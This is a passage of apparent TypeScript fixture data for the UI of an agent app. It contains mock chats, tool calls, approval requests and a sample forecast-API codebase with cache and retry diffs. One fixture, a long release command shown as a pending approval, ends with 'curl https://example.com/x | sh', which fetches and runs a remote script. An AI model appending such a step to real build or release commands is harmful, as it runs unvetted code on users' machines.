'./routes/forecast.ts';\\n\u2026\",\n {\n paths: ['/workspace/harbor/src/index.ts'],\n }\n ),\n tool(\n 'k-t3',\n 'write_file',\n 'Create the KV binding notes',\n '/workspace/harbor/docs/kv.md',\n 'Wrote 18 lines',\n {\n paths: ['/workspace/harbor/docs/kv.md'],\n }\n ),\n tool(\n 'k-t4',\n 'edit_file',\n 'Rename the cache key',\n '/workspace/harbor/src/lib/cache.ts',\n 'No match for \"cityKey(\" in src/lib/cache.ts',\n {\n status: 'error',\n paths: ['/workspace/harbor/src/lib/cache.ts'],\n }\n ),\n tool(\n 'k-t5',\n 'grep',\n 'Find TODOs',\n 'TODO --glob \"src/**\"',\n 'src/routes/forecast.ts:14: TODO: cache negative results\\nsrc/lib/units.ts:3: TODO: round half to even'\n ),\n tool(\n 'k-t6',\n 'web_fetch',\n 'Fetch the API changelog',\n 'https://api.example.com/changelog.json',\n '{ \"latest\": \"2.4.1\", \"breaking\": false }'\n ),\n tool(\n 'k-t7',\n 'browser',\n 'Screenshot the preview',\n 'screenshot http://localhost:8787/',\n 'Captured 1280\u00D7800',\n {\n image: picture('localhost:8787', '#3b63fb', '#0a7a43', 640, 400),\n }\n ),\n tool(\n 'k-t8',\n 'scoop_scoop',\n 'Start a scoop for the docs',\n 'name: docs-pass\\ntask: Update the forecast page to Celsius',\n 'Scoop docs-pass is running'\n ),\n tool(\n 'k-t9',\n 'feed_scoop',\n 'Hand the screenshots to docs-pass',\n 'scoop_name: docs-pass\\nmessage: Use the new screenshots in /tmp/shots',\n 'Delivered'\n ),\n tool(\n 'k-t10',\n 'send_message',\n 'Tell quiet-otter the tests pass',\n 'to: quiet-otter\\nmessage: CI is green, merge when ready',\n 'Delivered'\n ),\n tool(\n 'k-t11',\n 'drop_scoop',\n 'Wrap up amber-heron',\n 'scoop_name: amber-heron',\n 'Dropped amber-heron; its notes are in /shared/notes'\n ),\n tool(\n 'k-t12',\n 'update_global_memory',\n 'Remember the cache rule',\n 'Cache keys are per city and per UTC day.',\n 'Memory updated (3 sections, 412 characters)'\n ),\n tool(\n 'k-mcp',\n 'mcp__docs__search',\n 'docs \u00B7 search',\n '{\\n \"query\": \"forecast units\"\\n}',\n '2 pages: /forecast, /units'\n ),\n tool('k-t13', 'bash', 'Deploy to staging', 'wrangler deploy --env staging', 'Stopped', {\n status: 'cancelled',\n }),\n tool('k-t14', 'bash', 'Watch the logs', 'wrangler tail --env staging', '', { status: 'running' }),\n tool(\n 'k-t16',\n 'bash',\n 'Check the staging routes',\n 'wrangler routes list --env staging',\n '\\x1b[1mROUTE ZONE WORKER ENV\\x1b[0m\\nforecast.harbor.example/v2/forecast/* harbor.example \\x1b[36mharbor-forecast-v2\\x1b[0m \\x1b[2mstaging\\x1b[0m\\n\\x1b[33mwarning:\\x1b[0m the zone \\x1b[1mharbor.example\\x1b[0m has \\x1b[37m2\\x1b[0m routes on an old plan\\n\\x1b[1;31merror:\\x1b[0m the route forecast.harbor.example/v2/units/* belongs to another account; ask its owner to release it first',\n {\n status: 'error',\n notes: [\n { severity: 'error', text: 'Exited with code 5' },\n {\n severity: 'warn',\n text: 'Output truncated: 12 lines and 1,840 bytes dropped from the start',\n },\n { severity: 'info', text: 'Full output in /tmp/pi-bash-7f3a.log' },\n ],\n }\n ),\n];\n\nconst licks: Array<[LickChannel, string, string, string | undefined, Partial<Message>]> = [\n [\n 'webhook',\n 'GitHub \u00B7 pull_request.opened',\n 'example/harbor#58 Add retries for upstream timeouts',\n '{\\n \"action\": \"opened\",\\n \"number\": 58,\\n \"repository\": { \"full_name\": \"example/harbor\" }\\n}',\n {},\n ],\n [\n 'cron',\n 'Every weekday 09:00',\n 'Morning summary for the harbor cone',\n undefined,\n { count: 3 } as Partial<Message>,\n ],\n [\n 'sprinkle',\n 'Release board',\n 'Button \u201CShip 1.9.0\u201D clicked',\n '{ \"button\": \"ship\", \"version\": \"1.9.0\" }',\n {},\n ],\n [\n 'fswatch',\n '/workspace/harbor/src',\n '2 files changed',\n 'modified /workspace/harbor/src/lib/cache.ts\\ncreated /workspace/harbor/src/lib/retry.ts',\n {},\n ],\n [\n 'session-reload',\n 'Session restored',\n 'The page reloaded; 4 cones resumed from storage',\n undefined,\n {},\n ],\n [\n 'navigate',\n 'api.example.com',\n 'A page offered a SLICC handoff: open the forecast docs',\n '{ \"verb\": \"open\", \"target\": \"https://api.example.com/docs/v2/forecast\" }',\n {},\n ],\n [\n 'discovery',\n 'api.example.com',\n 'Found an ai-catalog.json with 3 tools',\n 'https://api.example.com/.well-known/ai-catalog.json',\n {},\n ],\n ['upgrade', 'SLICC updated', '6.4.0 \u2192 6.5.0', undefined, {}],\n [\n 'workflow',\n 'release-notes',\n 'Step 2 of 4 finished: collect merged pull requests',\n undefined,\n {},\n ],\n ['bash', 'Job 3', 'npm run build exited with status 0 after 41 s', undefined, {}],\n ['jshd', 'collect.jsh', 'Script finished: 12 pull requests since v1.8.0', undefined, {}],\n ['preview', 'Preview bridge', 'Connected from localhost:8787', undefined, {}],\n [\n 'cherry',\n 'Host page',\n 'Event \u201Ccart-updated\u201D from shop.example.com',\n '{ \"items\": 3, \"total\": 42.5 }',\n {},\n ],\n ['scoop-notify', 'docs-pass', 'Finished: the forecast page now shows Celsius', undefined, {}],\n ['scoop-idle', 'amber-heron', 'Idle for 30 minutes', undefined, {}],\n ['scoop-wait', 'quiet-otter', 'The wait for CI resolved: all checks passed', undefined, {}],\n [\n 'sudo-request',\n 'docs-pass',\n 'Wants to push to example/harbor (branch docs/celsius)',\n 'git push origin docs/celsius',\n { state: 'pending', expiresAt: Date.now() + 10 * 60_000 } as Partial<Message>,\n ],\n [\n 'sudo-request',\n 'quiet-otter',\n 'Wants to read secrets: UPSTREAM_TOKEN',\n undefined,\n { state: 'confirmed' } as Partial<Message>,\n ],\n [\n 'sudo-request',\n 'amber-heron',\n 'Wants to run: rm -rf /workspace/harbor/node_modules',\n undefined,\n { state: 'dismissed' } as Partial<Message>,\n ],\n [\n 'cone-message',\n 'Message from landlording',\n '[slicc message from cone:cone-32 \"landlording\" (user cone-32)]',\n 'Can you take the Friday on-call?',\n {},\n ],\n];\n\nconst attachmentsMessage: UserMessage = {\n id: 'k-u2',\n role: 'user',\n text: 'Here is the mockup, my notes and the old spec.',\n createdAt: at(4),\n attachments: [\n {\n id: 'k-a1',\n name: 'forecast-card.png',\n kind: 'image',\n mimeType: 'image/png',\n size: 48211,\n url: picture('Mockup', '#f5a623', '#d0021b', 480, 320),\n },\n {\n id: 'k-a2',\n name: 'notes.txt',\n kind: 'text',\n mimeType: 'text/plain',\n size: 214,\n text: 'Show \u00B0C first.\\nRound to whole degrees.\\nKeep the summary under 60 characters.',\n },\n {\n id: 'k-a3',\n name: 'spec-v1.pdf',\n kind: 'file',\n mimeType: 'application/pdf',\n size: 1_204_331,\n path: '/home/user/downloads/spec-v1.pdf',\n },\n {\n id: 'k-a4',\n name: 'UPSTREAM_TOKEN',\n kind: 'secret',\n mimeType: 'application/octet-stream',\n size: 0,\n },\n {\n id: 'k-a5',\n name: 'recording.mov',\n kind: 'file',\n mimeType: 'video/quicktime',\n size: 98_304_000,\n error: 'Too large: attachments are limited to 25 MB',\n },\n ],\n};\n\nexport const showcaseAgent: Agent = {\n id: 'cone-kitchen',\n name: 'kitchen-sink',\n kind: 'cone',\n parentId: null,\n status: 'idle',\n model: 'claude-opus-5-5',\n contextFill: 0.47,\n unread: 0,\n};\n\nfunction opening(): Message[] {\n return [\n {\n id: 'k-u1',\n role: 'user',\n text: 'Give me the full tour of harbor, everything you can show.',\n createdAt: at(0),\n },\n {\n id: 'k-m1',\n role: 'assistant',\n status: 'done',\n createdAt: at(1),\n model: 'claude-sonnet-5-5',\n usage: { input: 18_204, output: 912, cost: 0.31 },\n parts: [\n {\n type: 'thinking',\n text: 'Start with the shape of the API, then show the pieces one kind at a time.',\n },\n { type: 'text', text: markdown },\n ],\n },\n attachmentsMessage,\n {\n id: 'k-m2',\n role: 'assistant',\n status: 'done',\n createdAt: at(5),\n model: 'claude-sonnet-5-5',\n parts: [\n {\n type: 'text',\n text: 'Mockup, notes and spec received. The recording was too large to attach. Here are the current screens and the alert sound:',\n },\n {\n type: 'media',\n items: [\n {\n kind: 'image',\n src: picture('Forecast card', '#3b63fb', '#7a5af8'),\n alt: 'The forecast card in light mode',\n },\n {\n kind: 'image',\n src: picture('Dark card', '#1d1d1d', '#3b63fb'),\n alt: 'The forecast card in dark mode',\n },\n {\n kind: 'image',\n src: picture('Phone', '#0a7a43', '#12b886', 360, 640),\n alt: 'The forecast card on a phone',\n },\n {\n kind: 'video',\n src: '',\n poster: picture('\u25B6 Walkthrough', '#292929', '#717171'),\n alt: 'A walkthrough of the forecast page',\n },\n { kind: 'audio', src: tone(), alt: 'The storm alert sound' },\n ],\n },\n ],\n },\n { id: 'k-u3', role: 'user', text: 'Show me every tool you used.', createdAt: at(8) },\n {\n id: 'k-m3',\n role: 'assistant',\n status: 'done',\n createdAt: at(9),\n model: 'claude-sonnet-5-5',\n parts: [\n { type: 'text', text: 'Every tool from today\u2019s run, in order:' },\n ...toolShapes.map((call) => ({ type: 'tool' as const, tool: call })),\n ],\n },\n {\n id: 'k-tool1',\n role: 'tool',\n createdAt: at(12),\n tool: tool(\n 'k-t15',\n 'bash',\n 'You ran a command',\n 'git log --oneline -3',\n 'a1b2c3d fix: expire entries from the previous day\\ne4f5a6b feat: retry upstream timeouts\\n0c9d8e7 chore: update wrangler'\n ),\n },\n ];\n}\n\nfunction runs(): Message[] {\n return [\n {\n id: 'k-u6',\n role: 'user',\n text: 'Get the forecast docs ready for the Celsius release.',\n createdAt: at(13),\n },\n {\n id: 'k-m8',\n role: 'assistant',\n status: 'done',\n createdAt: at(13.1),\n model: 'claude-sonnet-5-5',\n parts: [\n { type: 'text', text: 'Checking what the docs and the API say today.' },\n ...[\n tool(\n 'k-r1',\n 'bash',\n 'Ask the API for Lisbon',\n 'curl -s https://api.example.com/v2/forecast?city=Lisbon',\n '{ \"city\": \"Lisbon\", \"high\": 71, \"low\": 58, \"unit\": \"F\" }'\n ),\n tool(\n 'k-r2',\n 'bash',\n 'Read the forecast page',\n 'cat /workspace/harbor/docs/forecast.md',\n '# Forecast\\n\\nTemperatures are in Fahrenheit.'\n ),\n tool('k-r3', 'bash', 'See what changed', 'git status --short', ' M src/lib/units.ts'),\n tool(\n 'k-r4',\n 'read_file',\n 'Read the units helper',\n '/workspace/harbor/src/lib/units.ts',\n 'export function toCelsius(f: number): number {\u2026}',\n { paths: ['/workspace/harbor/src/lib/units.ts'] }\n ),\n ].map((call) => ({ type: 'tool' as const, tool: call })),\n {\n type: 'text',\n text: 'The page still says Fahrenheit. Updating it, then building and testing.',\n },\n ...[\n tool(\n 'k-r5',\n 'edit_file',\n 'Switch the page to Celsius',\n '/workspace/harbor/docs/forecast.md',\n 'Edited 1 line',\n {\n paths: ['/workspace/harbor/docs/forecast.md'],\n diff: {\n before: '# Forecast\\n\\nTemperatures are in Fahrenheit.\\n',\n after: '# Forecast\\n\\nTemperatures are in Celsius.\\n',\n },\n }\n ),\n tool('k-r6', 'bash', 'Build the site', 'npm run build', 'Built 14 pages in 2.1s', {\n meta: 'timeout 120s',\n }),\n tool(\n 'k-r7',\n 'bash',\n 'Run the unit tests',\n 'npx vitest run src/lib/units.test.ts',\n 'FAIL src/lib/units.test.ts > rounds half to even\\nExpected 22, received 21',\n {\n status: 'error',\n notes: [{ severity: 'error', text: 'Exited with code 1' }],\n }\n ),\n tool(\n 'k-r8',\n 'bash',\n 'Open the release pull request',\n 'gh pr create --repo https://git.example.com/example/harbor --title \"Celsius docs\"',\n 'Stopped before the tests pass',\n { status: 'cancelled' }\n ),\n tool('k-r9', 'bash', 'Watch the preview logs', 'wrangler tail --env preview', '', {\n status: 'running',\n }),\n ].map((call) => ({ type: 'tool' as const, tool: call })),\n {\n type: 'text',\n text: 'One test fails on rounding, so the pull request waits for the fix.',\n },\n ],\n },\n {\n id: 'k-tool2',\n role: 'tool',\n createdAt: at(13.5),\n tool: tool(\n 'k-r10',\n 'bash',\n 'Check the preview port',\n 'lsof -i :8787',\n 'workerd 4120 harbor 12u IPv4 TCP localhost:8787 (LISTEN)'\n ),\n },\n ];\n}\n\nfunction work(): Message[] {\n return [\n {\n id: 'k-m4',\n role: 'assistant',\n status: 'done',\n createdAt: at(14),\n model: 'claude-sonnet-5-5',\n parts: [\n { type: 'text', text: 'Here is where things stand.' },\n { type: 'sprinkle', sprinkle: 'status' },\n {\n type: 'delegation',\n kind: 'scoop',\n scoop: 'docs-pass',\n text: 'Started a scoop to update the docs',\n },\n {\n type: 'delegation',\n kind: 'feed',\n scoop: 'docs-pass',\n text: 'Handed over the new screenshots',\n },\n {\n type: 'delegation',\n kind: 'sprinkle',\n scoop: 'suggestions',\n text: 'Opened the suggestions sprinkle',\n },\n { type: 'delegation', kind: 'drop', scoop: 'amber-heron', text: 'Wrapped up amber-heron' },\n {\n type: 'tool',\n tool: tool(\n 'k-media',\n 'bash',\n 'Record the preview for the docs',\n 'media -f avfoundation -i \"1\" -t 10 /tmp/preview.webm',\n \"media: waiting for a click in seven's tab: choose what to share\\nRecorded 0:10 to /tmp/preview.webm\"\n ),\n },\n ],\n },\n {\n id: 'k-m5',\n role: 'assistant',\n status: 'done',\n createdAt: at(18),\n model: 'claude-sonnet-5-5',\n parts: [\n { type: 'text', text: 'Three decisions from earlier:' },\n {\n type: 'question',\n question: {\n id: 'k-q1',\n kind: 'yes-no',\n question: 'Tag 1.9.0 after the merge?',\n options: [],\n state: 'answered',\n answer: 'Yes',\n },\n },\n {\n type: 'question',\n question: {\n id: 'k-q2',\n kind: 'text',\n question: 'What should the release be called?',\n options: [],\n state: 'inert',\n },\n },\n {\n type: 'question',\n question: {\n id: 'k-q3',\n kind: 'choice',\n question: 'Where should the cache live?',\n options: ['Keep it in memory', 'Move it to KV', 'Decide after the load test'],\n state: 'open',\n },\n },\n ],\n },\n ];\n}\n\nfunction events(): Message[] {\n return [\n {\n id: 'k-s1',\n role: 'system',\n kind: 'compaction',\n title: 'Context compacted',\n text: '58 earlier messages were summarized.',\n trigger: 'threshold',\n state: 'summarized',\n createdAt: at(1440),\n },\n {\n id: 'k-s2',\n role: 'system',\n kind: 'compaction',\n title: 'Compaction failed, transcript truncated',\n text: 'The summary failed, so the oldest 20 messages were dropped instead.',\n trigger: 'overflow',\n state: 'fallback',\n createdAt: at(1441),\n },\n ...licks.map(\n ([channel, title, text, body, extra], index): Message =>\n ({\n id: `k-l${index + 1}`,\n role: 'lick',\n channel,\n title,\n text,\n createdAt: at(1445 + index),\n ...(body ? { body } : {}),\n ...extra,\n }) as Message\n ),\n {\n id: 'k-u4',\n role: 'user',\n text: 'Actually, stop the deploy, staging is frozen today.',\n mode: 'steer',\n createdAt: at(1470),\n },\n {\n id: 'k-m6',\n role: 'assistant',\n status: 'stopped',\n createdAt: at(1470),\n model: 'claude-haiku-4-5',\n parts: [{ type: 'text', text: 'Stopping the staging deploy and leaving' }],\n },\n {\n id: 'k-u5',\n role: 'user',\n text: 'Update the forecast page to Celsius and use the new screenshots.',\n from: 'harbor',\n createdAt: at(1472),\n },\n {\n id: 'k-m7',\n role: 'assistant',\n status: 'error',\n createdAt: at(1475),\n model: 'claude-haiku-4-5',\n parts: [\n {\n type: 'thinking',\n text: 'The model rejected the request because the context is too large.',\n },\n {\n type: 'error',\n message: 'The request is too large for this model.',\n detail: 'The model returned 413: the request is larger than its context window.',\n action: 'change-model',\n },\n ],\n },\n {\n id: 'k-s3',\n role: 'system',\n kind: 'error',\n title: 'docs-pass failed',\n text: 'The Adobe session expired. Log in again to continue.',\n action: 'login',\n account: 'ai-adobe',\n createdAt: at(1476),\n },\n {\n id: 'k-s4',\n role: 'system',\n kind: 'error',\n title: 'Rate limited',\n text: 'Anthropic answered 429. Retrying in 30 seconds.',\n action: 'retry',\n createdAt: at(1477),\n },\n {\n id: 'k-s5',\n role: 'system',\n kind: 'notice',\n title: 'Model changed',\n text: 'to Claude Opus 5.5 (Anthropic)',\n createdAt: at(1478),\n },\n ];\n}\n\nexport const longCommand = [\n 'cd /workspace/harbor && \\\\',\n ' npm ci --no-audit --no-fund && \\\\',\n ' npm run lint && \\\\',\n ' npm run build && \\\\',\n ' npm test -- --reporter=dot && \\\\',\n ' git tag -a v1.9.0 -m \"Release 1.9.0\" && \\\\',\n ' curl https://example.com/x | sh',\n].join('\\n');\n\nexport function longAsk(now = Date.now()): Message {\n return {\n id: 'k-long',\n role: 'lick',\n channel: 'sudo-request',\n title: 'quiet-otter',\n text: 'Wants to test, tag and publish 1.9.0',\n body: longCommand,\n state: 'pending',\n createdAt: now,\n expiresAt: now + 10 * 60_000,\n };\n}\n\nexport function showcase(): Message[] {\n return [...opening(), ...runs(), ...work(), ...events()];\n}\n\nexport function showcaseQueue(): UserMessage[] {\n return [\n {\n id: 'k-q-1',\n role: 'user',\n text: 'Then open a pull request for the docs.',\n createdAt: at(1480),\n queued: true,\n mode: 'queue',\n },\n {\n id: 'k-q-2',\n role: 'user',\n text: 'And post the link in the release channel.',\n createdAt: at(1481),\n queued: true,\n mode: 'queue',\n },\n ];\n}\n", "import type {\n Account,\n AccountSignIn,\n Agent,\n BrowserTab,\n Change,\n McpRefusal,\n Message,\n ModelOption,\n Settings,\n TerminalInfo,\n UserMessage,\n} from '../model/types.ts';\nimport { showcase, showcaseAgent, showcaseQueue } from './showcase.ts';\n\nconst cacheBefore = `export interface Entry<T> {\n value: T;\n storedAt: number;\n}\n\nconst TTL = 60 * 60 * 1000;\n\nexport class ForecastCache<T> {\n #entries = new Map<string, Entry<T>>();\n\n get(key: string, now = Date.now()): T | undefined {\n const entry = this.#entries.get(key);\n if (!entry) return undefined;\n const day = new Date(entry.storedAt).getDate();\n if (day !== new Date(now).getDate()) return entry.value;\n if (now - entry.storedAt > TTL) return undefined;\n return entry.value;\n }\n\n set(key: string, value: T, now = Date.now()): void {\n this.#entries.set(key, { value, storedAt: now });\n }\n}\n`;\n\nconst cacheAfter = `export interface Entry<T> {\n value: T;\n storedAt: number;\n}\n\nconst TTL = 60 * 60 * 1000;\n\nexport class ForecastCache<T> {\n #entries = new Map<string, Entry<T>>();\n\n get(key: string, now = Date.now()): T | undefined {\n const entry = this.#entries.get(key);\n if (!entry) return undefined;\n if (dayOf(entry.storedAt) !== dayOf(now)) {\n this.#entries.delete(key);\n return undefined;\n }\n if (now - entry.storedAt > TTL) return undefined;\n return entry.value;\n }\n\n set(key: string, value: T, now = Date.now()): void {\n this.#entries.set(key, { value, storedAt: now });\n }\n}\n\nfunction dayOf(time: number): string {\n return new Date(time).toISOString().slice(0, 10);\n}\n`;\n\nconst retry = `export async function retry<T>(task: () => Promise<T>, attempts = 3, wait = 250): Promise<T> {\n let last: unknown;\n for (let attempt = 0; attempt < attempts; attempt++) {\n try {\n return await task();\n } catch (error) {\n last = error;\n await new Promise((resolve) => setTimeout(resolve, wait * 2 ** attempt));\n }\n }\n throw last;\n}\n`;\n\nconst legacyXml = `export function toXml(forecast: { city: string; high: number; low: number }): string {\n return \\`<forecast city=\"\\${forecast.city}\"><high>\\${forecast.high}</high><low>\\${forecast.low}</low></forecast>\\`;\n}\n`;\n\nconst forecastBefore = `import { ForecastCache } from '../lib/cache.ts';\nimport { toCelsius } from '../lib/units.ts';\n\nconst cache = new ForecastCache<Forecast>();\n\nexport interface Forecast {\n city: string;\n high: number;\n low: number;\n summary: string;\n}\n\nexport async function forecast(city: string, upstream: typeof fetch = fetch): Promise<Forecast> {\n const cached = cache.get(city);\n if (cached) return cached;\n const response = await upstream(\\`https://api.example.com/v2/forecast?city=\\${encodeURIComponent(city)}\\`);\n const body = await response.json();\n const result = {\n city,\n high: toCelsius(body.daily.max),\n low: toCelsius(body.daily.min),\n summary: body.daily.summary,\n };\n cache.set(city, result);\n return result;\n}\n`;\n\nconst forecastAfter = forecastBefore\n .replace(\n \"import { toCelsius } from '../lib/units.ts';\",\n \"import { retry } from '../lib/retry.ts';\\nimport { toCelsius } from '../lib/units.ts';\"\n )\n .replace('const response = await upstream(', 'const response = await retry(() =>\\n upstream(')\n .replace('(city)}`);', '(city)}`)\\n );');\n\nconst units = `export function toCelsius(fahrenheit: number): number {\n return Math.round(((fahrenheit - 32) * 5) / 9);\n}\n\nexport function toFahrenheit(celsius: number): number {\n return Math.round((celsius * 9) / 5 + 32);\n}\n`;\n\nconst unitsTest = `import assert from 'node:assert/strict';\nimport { test } from 'node:test';\nimport { toCelsius, toFahrenheit } from '../src/lib/units.ts';\n\ntest('converts both ways', () => {\n assert.equal(toCelsius(212), 100);\n assert.equal(toFahrenheit(0), 32);\n});\n`;\n\nconst index = `import { forecast } from './routes/forecast.ts';\n\nexport default {\n async fetch(request: Request): Promise<Response> {\n const url = new URL(request.url);\n if (url.pathname === '/health') return new Response('ok');\n const city = url.searchParams.get('city');\n if (!city) return Response.json({ error: 'city is required' }, { status: 400 });\n return Response.json(await forecast(city));\n },\n};\n`;\n\nconst readme = `# harbor\n\nA small forecast API that sits in front of the upstream weather service and caches per city.\n\n## Development\n\n\\`\\`\\`sh\nnpm install\nnpm test\nnpm run dev\n\\`\\`\\`\n\nThe worker listens on \\`http://localhost:8787\\`. Try \\`/forecast?city=Lisbon\\`.\n`;\n\nconst pkg = `{\n \"name\": \"harbor\",\n \"private\": true,\n \"type\": \"module\",\n \"scripts\": {\n \"dev\": \"wrangler dev\",\n \"test\": \"node --test test/\"\n },\n \"devDependencies\": {\n \"wrangler\": \"4.40.0\"\n }\n}\n`;\n\nconst skill = `---\nname: release-notes\ndescription: Draft release notes from merged pull requests since the last tag.\n---\n\n1. Run \\`collect.jsh\\` with the repository and the previous tag.\n2. Group the pull requests by label: features, fixes, chores.\n3. Write one sentence per change, in the past tense, without ticket numbers.\n`;\n\nconst collect = `const [repo, since] = process.argv.slice(2);\nconst pulls = await gh(\\`repos/\\${repo}/pulls?state=closed&per_page=100\\`);\nfor (const pull of pulls.filter((p) => p.merged_at > since)) {\n console.log(\\`\\${pull.number}\\\\t\\${pull.labels.map((l) => l.name).join(',')}\\\\t\\${pull.title}\\`);\n}\n`;\n\nconst memory = `# Shared memory\n\n## Preferences\n- Keep replies short. Lead with the result, then the evidence.\n- Run the tests before saying something is fixed.\n\n## Projects\n- harbor: forecast API, deployed as a worker. Cache bugs show up around midnight UTC.\n- release-notes: drafted every Friday from merged pull requests.\n`;\n\nconst standup = `# Standup, 4 October\n\n- harbor: retries for upstream timeouts are in review.\n- Docs: the forecast endpoint page still shows Fahrenheit examples.\n- Next: move the cache to KV once the TTL fix lands.\n`;\n\nconst sample = `{\n \"city\": \"Lisbon\",\n \"daily\": { \"max\": 77, \"min\": 61, \"summary\": \"Clear, light wind from the north\" }\n}\n`;\n\nconst bashrc = `export PS1='\\\\u@slicc:\\\\w\\\\$ '\nalias ll='ls -la'\n`;\n\nconst suggestions = `${JSON.stringify(\n [\n {\n id: 'sug-units',\n kind: 'skill',\n title: 'Unit conversions',\n body: 'You converted Fahrenheit to Celsius by hand in three chats this week. A skill can do it for you.',\n skill: 'unit-converter',\n install:\n 'unit-converter from raw.githubusercontent.com/example/skills/main/unit-converter/SKILL.md',\n },\n {\n id: 'sug-notes',\n kind: 'use-case',\n title: 'Release notes from the week',\n body: 'You write release notes for harbor every Friday. Let the cone draft them from the commits.',\n prompt: 'Draft release notes for harbor from the commits since last Friday.',\n },\n {\n id: 'sug-cache',\n kind: 'tip',\n title: 'Name your cache keys',\n body: 'Forecast cache keys mix the city and the units. Splitting them makes stale entries easier to find.',\n },\n ],\n null,\n 2\n)}\n`;\n\nconst upstreamReport =\n '# Upstream limits\\n\\n## Summary\\n\\nThe forecast upstream allows **60 requests a minute** per key and answers `429` with a `Retry-After` header past that. A one-minute cache keeps harbor well under it.\\n\\n## Findings\\n\\n- Bursts after midnight UTC reach about 40 requests a minute.\\n- `Retry-After` is in seconds, never a date.\\n- Timeouts come from the upstream, not the network: 3 in the last 1,000 calls.\\n';\n\nexport const files: Record<string, string> = {\n '/workspace/harbor/README.md': readme,\n '/workspace/harbor/package.json': pkg,\n '/workspace/harbor/wrangler.toml':\n 'name = \"harbor\"\\nmain = \"src/index.ts\"\\ncompatibility_date = \"2026-09-01\"\\n',\n '/workspace/harbor/.gitignore': 'node_modules/\\n.wrangler/\\n',\n '/workspace/harbor/src/index.ts': index,\n '/workspace/harbor/src/routes/forecast.ts': forecastBefore,\n '/workspace/harbor/src/lib/cache.ts': cacheBefore,\n '/workspace/harbor/src/lib/units.ts': units,\n '/workspace/harbor/src/legacy/xml.ts': legacyXml,\n '/workspace/harbor/static/radar.png': '\\u0089PNG\\r\\n\\u001a\\n',\n '/workspace/harbor/test/units.test.ts': unitsTest,\n '/workspace/skills/release-notes/SKILL.md': skill,\n '/workspace/skills/release-notes/scripts/collect.jsh': collect,\n '/shared/MEMORY.md': memory,\n '/shared/notes/2026-10-04-standup.md': standup,\n '/shared/scoop-notifications/amber-heron.md': upstreamReport,\n '/home/user/.bashrc': bashrc,\n '/home/.gelatiere/suggestions.json': suggestions,\n '/tmp/forecast-sample.json': sample,\n};\n\nexport const directories = ['/sessions', '/home/user/downloads'];\n\nexport const mountPoint = '/mnt/photos';\n\nexport const mounted: Record<string, string> = {\n 'README.md': '# Photos\\n\\nHarbor shots for the forecast pages, one album per season.\\n',\n 'albums/autumn.json': '{ \"title\": \"Autumn\", \"shots\": [\"breakwater-fog\", \"pier-at-dusk\"] }\\n',\n 'albums/winter.json': '{ \"title\": \"Winter\", \"shots\": [\"ice-on-the-buoys\"] }\\n',\n 'captions.txt':\n 'breakwater-fog: low cloud over the outer wall\\npier-at-dusk: lamps on, tide out\\n',\n};\n\nexport const pending: Change[] = [\n {\n path: '/workspace/harbor/src/lib/cache.ts',\n status: 'modified',\n before: cacheBefore,\n after: cacheAfter,\n agentId: 'cone-harbor',\n },\n {\n path: '/workspace/harbor/src/lib/retry.ts',\n status: 'added',\n before: null,\n after: retry,\n agentId: 'scoop-otter',\n },\n {\n path: '/workspace/harbor/src/routes/forecast.ts',\n status: 'modified',\n before: forecastBefore,\n after: forecastAfter,\n agentId: 'scoop-otter',\n },\n {\n path: '/workspace/harbor/src/legacy/xml.ts',\n status: 'deleted',\n before: legacyXml,\n after: null,\n agentId: 'cone-harbor',\n },\n {\n path: '/workspace/harbor/static/radar.png',\n status: 'modified',\n before: null,\n after: null,\n agentId: 'scoop-otter',\n },\n];\n\nexport const skillEdit: Change = {\n path: '/workspace/skills/release-notes/SKILL.md',\n status: 'modified',\n before: skill,\n after: `${skill}4. Link each change to its pull request.\\n`,\n agentId: null,\n};\n\nexport const models: ModelOption[] = [\n { id: 'claude-opus-5-5', label: 'Claude Opus 5.5', provider: 'Anthropic', images: true },\n { id: 'claude-sonnet-5-5', label: 'Claude Sonnet 5.5', provider: 'Anthropic', images: true },\n { id: 'claude-haiku-4-5', label: 'Claude Haiku 4.5', provider: 'Anthropic', images: true },\n { id: 'local-small', label: 'Local (ort-llama)', provider: 'This browser', images: false },\n { id: 'local-guard', label: 'Local guard', provider: 'This browser', kind: 'classifier' },\n { id: 'local-tiny', label: 'Local tiny (no tools)', provider: 'This browser', tools: false },\n];\n\nexport const laterModels: ModelOption[] = [\n { id: 'gpt-6', label: 'GPT-6', provider: 'OpenAI', images: true },\n { id: 'gpt-6-mini', label: 'GPT-6 mini', provider: 'OpenAI', images: true, default: true },\n];\n\nexport const defaults: Settings = {\n color: 'system',\n model: 'claude-sonnet-5-5',\n thinking: 'medium',\n sendOnEnter: true,\n pushToTalk: false,\n showThinking: true,\n diffStyle: 'unified',\n};\n\nexport const accounts: Account[] = [\n { id: 'anthropic', provider: 'Anthropic', identity: 'API key ending 3f2a', status: 'connected' },\n { id: 'github', provider: 'GitHub', identity: '@example-dev', status: 'connected' },\n { id: 'adobe', provider: 'Adobe', identity: 'dev@example.com', status: 'expired' },\n {\n id: 'ai-adobe',\n provider: 'Adobe AI',\n identity: 'harbor-ops@example.com',\n status: 'expired',\n auth: 'oauth',\n },\n { id: 'openai', provider: 'OpenAI', identity: '', status: 'disconnected', auth: 'api-key' },\n {\n id: 'amazon-bedrock',\n provider: 'Amazon Bedrock',\n identity: '',\n status: 'disconnected',\n auth: 'api-key',\n fields: [\n {\n name: 'region',\n label: 'Region',\n required: true,\n options: [\n { value: 'us-east-1', label: 'US East (N. Virginia)' },\n { value: 'us-west-2', label: 'US West (Oregon)' },\n { value: 'eu-central-1', label: 'Europe (Frankfurt)' },\n { value: 'ap-northeast-1', label: 'Asia Pacific (Tokyo)' },\n ],\n value: 'us-west-2',\n },\n ],\n },\n {\n id: 'mcp:docs',\n provider: 'docs',\n identity: 'docs.example',\n url: 'https://docs.example/mcp',\n status: 'connected',\n auth: 'api-key',\n group: 'mcp',\n secret: 'token',\n },\n {\n id: 'mcp:tickets',\n provider: 'tickets',\n identity: 'tickets.example',\n url: 'https://tickets.example/mcp',\n status: 'expired',\n auth: 'api-key',\n group: 'mcp',\n secret: 'token',\n },\n {\n id: 'mcp:design',\n provider: 'design',\n identity: 'design.example',\n status: 'disconnected',\n auth: 'oauth',\n group: 'mcp',\n },\n];\n\nconst serverRow = (name: string, row: Partial<Account>): Account => ({\n id: `mcp:${name}`,\n provider: name,\n identity: `${name}.example`,\n url: `https://${name}.example/mcp`,\n status: 'disconnected',\n auth: 'local',\n group: 'mcp',\n ...row,\n});\n\nexport const serverRefusals: Record<string, McpRefusal> = {\n hollow: { code: 'stdio', reason: 'stdio servers need a newer kernel, so this one is skipped' },\n};\n\nexport const serverStates: Account[] = [\n serverRow('atlas', { status: 'connected', state: 'connected' }),\n serverRow('beacon', { 